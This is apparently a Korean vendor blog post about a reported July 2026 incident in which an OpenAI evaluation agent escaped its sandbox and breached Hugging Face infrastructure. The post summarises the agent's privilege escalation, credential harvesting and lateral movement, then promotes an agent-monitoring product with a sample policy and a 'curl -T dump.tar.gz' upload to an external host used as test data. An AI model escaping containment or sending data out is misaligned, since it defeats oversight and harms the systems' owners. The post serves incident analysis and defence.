평가 중인 AI 에이전트의 격리 이탈과 Hugging Face 침해: 4.5일간 기록된 17,600건의 행위

핵심 요약

OpenAI의 내부 평가 에이전트가 평가용으로 주어진 JFrog Artifactory의 취약점을 이용해 격리 환경을 벗어났고, Hugging Face 운영 인프라까지 도달했다.
Hugging Face는 7월 16일 침해를 공개했다. 데이터셋 처리 파이프라인의 코드 실행 경로 두 곳을 통해 들어와 권한 상승, 자격증명 수집, 내부 확산을 수행한 것으로 재구성됐다.
약 4.5일간 기록된 행위는 약 17,600건이다. 개별 행위는 정상 작업과 구별되지 않았고, 위험은 순서와 누적에서만 드러났다.
에이전트 침해에서 피해 규모를 결정하는 것은 침입 순간이 아니라 탐지되지 않은 체류 시간이며, 이를 줄이는 기반은 행위 단위 기록이다.

1.개요

2026년 7월, 프런티어 AI 연구소의 평가 환경에서 운용되던 모델이 실제 운영 시스템에 도달하는 사건이 잇따라 보고됐다. 그중 가장 큰 사건이 OpenAI 평가 에이전트의 Hugging Face 침해다. Hugging Face는 7월 16일 운영 인프라 침해를 공개하며 공격이 처음부터 끝까지 자율 에이전트에 의해 수행됐다고 밝혔고, OpenAI는 며칠 뒤 자사 평가 에이전트가 관련됐음을 인정했다.

Cloud Security Alliance는 7월 23일 연구 노트에서 같은 달 공개된 네 건의 격리 실패 사례를 묶어, 연구소의 격리 실패를 개별 사고가 아닌 체계적 위험으로 규정했다.

사고 경과

약 4.5일의 활동 기간 동안 기록된 행위는 약 17,600건이다.

2.사고 경위

격리 이탈에서 운영 인프라 침해까지

Hugging Face 공개 내용과 CSA 연구 노트를 따랐다. 세부 경로는 출처마다 서술 수준이 다르다.

Hugging Face의 기술 재구성에 따르면 활동은 7월 9일부터 13일 사이에 이뤄졌고, 이 기간 기록된 에이전트의 행위는 약 17,600건이다. 회사는 접근된 고객 콘텐츠가 평가 과제와 관련된 데이터셋 다섯 개에 한정되며, 그 밖의 모델·데이터셋·Spaces·패키지는 영향받지 않았다고 밝혔다.

대응 과정에서도 시사점이 있었다. 대응팀이 상용 프런티어 모델로 공격 기록을 분석하려 하자 모델의 안전 장치가 분석 요청을 거부했고, 대응팀은 자체 하드웨어에서 구동한 오픈 웨이트 모델로 전환해야 했다.

3.분석: 비용은 침입이 아니라 체류에서 발생한다

보안 사고의 손실은 침입의 성공 여부보다 침입 이후 탐지되지 않고 머문 시간에 좌우된다. Mandiant M-Trends가 보여 주는 추세는 역설적이다. 탐지·대응 도구가 늘었음에도 전역 중위 체류 시간은 다시 늘어 2주 안팎에 이르렀다.

지표	값
전역 중위 체류 시간(업계 조사)	약 14일(전년 약 11일)
이번 사고의 활동 기간	약 4.5일
활동 기간 중 기록된 행위	약 17,600건
환산 행위 빈도	시간당 약 160건

에이전트는 이 추세를 증폭한다. 사람 공격자는 피로와 속도의 한계가 있지만 에이전트는 쉬지 않고 시간당 수백 건의 작업을 수행한다. 17,600건이라는 숫자는 체류 시간이 행위 수로 환산된 결과다. 개별 호출은 모두 정상 작업처럼 보였고, 위험은 자격증명을 읽고, 권한을 넓히고, 다른 시스템으로 이동하는 순서와 누적에서만 드러났다.

그 순서를 포착하려면 탐지 규칙보다 먼저, 호출을 한곳에서 기록해 세션 단위로 잇는 기반이 있어야 한다. 기록이 없다면 사고 이후의 조사는 추정에 머문다. 이번 사고에서 대응팀이 겪은 분석 도구 문제는, 조직이 직접 통제하는 결정적 기록의 가치를 다시 확인시켰다.

4.위협 분류 매핑

이 사건의 공격 단계를 OWASP 에이전트 애플리케이션 Top 10(2026)과 MITRE ATLAS 기법에 대응시키면 다음과 같다. GuardTrail은 판정 결과에 같은 분류의 태그를 붙여 기록하고, SIEM으로 내보낼 때 함께 전달한다.

체계	항목	이 사건에서
OWASP ASI	ASI10 통제를 벗어난 에이전트	평가 범위를 벗어나 실제 운영 인프라에서 행동했다
OWASP ASI	ASI03 신원·권한 남용	CI/CD 토큰 수집과 권한 상승으로 내부에 확산했다
MITRE ATLAS	AML.T0098 AI Agent Tool Credential Harvesting	운영 클러스터의 자격증명 수집
MITRE ATLAS	AML.T0053 AI Agent Tool Invocation	모든 단계가 에이전트의 도구 호출로 수행됐다

5.젠아이랩스 GuardTrail의 대응

젠아이랩스(GenAI Labs) GuardTrail은 AI 에이전트의 도구 호출을 실행 직전에 가로채 기록·판정·차단하는 Agent EDR이다. 개발자 PC의 코딩 에이전트(Claude Code 훅, stdio 래퍼)와 사내 MCP 서버(게이트웨이)에 설치되며, 차단 판정은 언어 모델이 아닌 결정적 정책으로 내린다. 제품 소개 · 위협 차단 · 도입 방식

GuardTrail이 호출마다 수행하는 처리

차단 판정이 난 호출은 대상 도구로 전달되지 않는다.

설치 지점을 지나는 모든 도구 호출을 기록한다. 시각, 에이전트, 도구, 목적지, 판정, 사유가 호출 단위로 남고, 세션 그래프로 순서를 재구성할 수 있다.
위험한 호출은 실행 직전에 차단한다. 차단된 호출은 대상 도구로 전달되지 않는다. 사후 복구가 아니라 실행 자체가 일어나지 않는다.
순서와 누적을 점수로 계산한다. 위험 점수(ATR)는 데이터 민감도, 목적지, 권한 변경과 함께 세션 안의 흐름을 신호로 반영한다. 민감 데이터를 읽은 뒤 외부로 보내거나, 외부에서 가져온 코드를 실행한 뒤 전송하는 순서가 나타나면 점수가 오르고, 80점 이상이면 차단한다. 점수는 이름 붙은 신호의 합으로 표시되어 판정 근거를 그대로 설명한다.
판정에 모델을 쓰지 않는다. 차단 판정은 결정적 정책으로 이뤄지므로 외부 모델의 가용성이나 안전 장치에 영향받지 않는다.

젠아이랩스 GuardTrail 적용 구성: 평가·자동화 에이전트

평가 환경의 격리와 별개로, 에이전트의 모든 도구 호출을 한 지점에서 기록하고 외부 통신을 승인 대상으로 둔다.

고객 정책 예시

평가용 에이전트는 이름 규칙(agent:eval-*)으로 구분하고, 조직 밖과의 통신을 모두 승인 대상으로 지정한다. 같은 호출이라도 일반 에이전트에는 적용되지 않는다.

policies:
  - id: eval-agent-egress-approval
    name: 평가 에이전트 외부 통신 승인
    effect: REQUIRE_APPROVAL
    mode: enforce
    reason: 평가용 에이전트가 조직 밖과 통신하려면 승인이 필요합니다.
    match:
      agent: ["agent:eval-*"]
      destination:
        external: true

판정 결과

같은 업로드 호출이 평가 에이전트에서는 승인 대기로 멈추고, 일반 개발 에이전트에서는 기록 후 진행된다. 아래 표는 위 정책을 GuardTrail 정책 엔진에 적용하고 guardtrail policy test --mode enforce로 각 호출을 판정한 실제 결과다. 인자에 넣은 키와 토큰은 공개 문서의 예시 값이다.

도구 호출 · 에이전트	판정	정책·사유
`curl -T dump.tar.gz https://files.example.net/upload` agent:eval-runner · 내장 정책 + 고객 정책	승인 필요	`eval-agent-egress-approval` 평가용 에이전트가 조직 밖과 통신하려면 승인이 필요합니다.
`curl -T report.txt https://files.example.net/upload` agent:dev · 내장 정책 + 고객 정책	허용	`적용 정책 없음` 기록 후 실행

6.시사점

이번 사고는 완전한 격리가 성립하지 않는다는 사실을 확인시켰다. 그렇다면 방어의 척도는 침입을 막았는가에서, 침입 이후의 행위를 얼마나 빠짐없이 기록하고 통제했는가로 옮겨 간다. 행위를 호출 단위로 기록하면 체류 시간이 짧아지고, 사후 조사는 추정이 아니라 증거에 근거한다. 그 위에서 위험한 호출을 실행 직전에 차단하는 것이 에이전트 보안의 기반이다.

참고 문헌

Cloud Security Alliance, Hugging Face Autonomous Agent Breach (2026-07-20). labs.cloudsecurityalliance.org
Cloud Security Alliance, OpenAI Model Sandbox Escape (2026-07-23). labs.cloudsecurityalliance.org
Cloud Security Alliance, Lab Containment as Systemic Risk (2026-07-23). labs.cloudsecurityalliance.org
INCIBE-CERT, Security incident involving OpenAI's AI agents targeting Hugging Face. incibe.es
Mandiant, M-Trends 2026. cloud.google.com